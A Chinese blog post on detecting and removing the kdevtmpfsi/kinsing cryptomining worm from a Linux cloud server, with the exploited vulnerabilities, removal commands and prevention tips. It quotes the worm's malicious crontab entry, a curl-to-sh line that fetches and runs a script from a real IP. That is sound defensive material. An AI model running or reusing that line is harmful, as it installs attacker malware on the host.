最近阿里云服务器安全警告,提示发现蠕虫病毒,查找了相关资料,发现是被注入了挖矿病毒。

kdevtmpfsi:挖矿程序,会占用服务器的内存与流量,无故内存爆满、流量跑满,如果是云服务器严重的还会被官方停封机器。

病毒原理

腾讯安全威胁情报中心捕获H2Miner挖矿蠕虫新变种,这篇文章详细介绍了挖矿病毒的攻击原理。

其主要利用的漏洞如下:

Redis未授权RCE;

Solr dataimport RCE(CVE-2019-0193);

Hadoop Yarn REST API未授权RCE(CVE-2017-15718);

Docker Remote API未授权RCE;

ThinkPHP5 RCE;

Confluence 未授权RCE(CVE-2019-3396);

SaltStack RCE(CVE-2020-11651)

恶意进程(云查杀)-蠕虫病毒

问题描述

top查看cpu占用情况,会发现服务器CPU资源占用一直处于100%的状态。

Linux服务器出现名为kdevtmpfsi的进程,占用高额的CPU、内存资源。

单纯的kill -9 进程ID, 无法完全杀死,不久就会复活。

crontab -l 会发现异常的定时任务,例如

1
*/1 * * * * curl -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh

处理

  1. 找到挖矿程序进程号,内存占用最高的就是最上面那个,可以看占用内存进行排查
1
2
3
4
5
6
7
8
top

systemctl status 进程号

kill -9 进程号

# 进程名一般为kdevtmpfsi、kinsing或BjNVW
kill -9 $(ps aux | grep /var/tmp/kinsing |awk '{print $2}')
  1. kill 相关进程及守护进程。

    kdevtmpfsi有守护进程,单独kill掉 kdevtmpfsi 进程会不断恢复占用。守护进程名称为 kinsing,需要kill后才能解决问题

systemctl status 进程号

删除相关文件

1
2
3
4
5
rm -rf /tmp/kdevtmpfsi
find -name kdevtmpfsi

find -name kinsing
rm -rf /var/tmp/kinsing
  1. 检查定时任务
1
2
3
4
crontab -e

ls /var/spool/cron/crontabs
ls /var/spool/cron

预防

  1. 检查Redis。

    Redis的权限,不要使用root。设置连接密码。相关文章可以查看Redis攻击模拟,获取服务器登录权限

  2. 使用脚本和计划任务,定时清除。

vim /tmp/kill_kdevtmpfsi.sh, 新增计划任务 */1 * * * * /tmp/kill_kdevtmpfsi.sh

1
2
3
4
ps -aux | grep kinsing |grep -v grep|cut -c 9-15 | xargs kill -9 
ps -aux | grep kdevtmpfsi |grep -v grep|cut -c 9-15 | xargs kill -9
rm -f /var/tmp/kinsing
rm -f /tmp/kdevtmpfsi

相关文章

Docker服务器被新的Kinsing恶意软件攻击

腾讯安全-Linux服务器遭遇挖矿蠕虫攻击,已有数千台服务器中招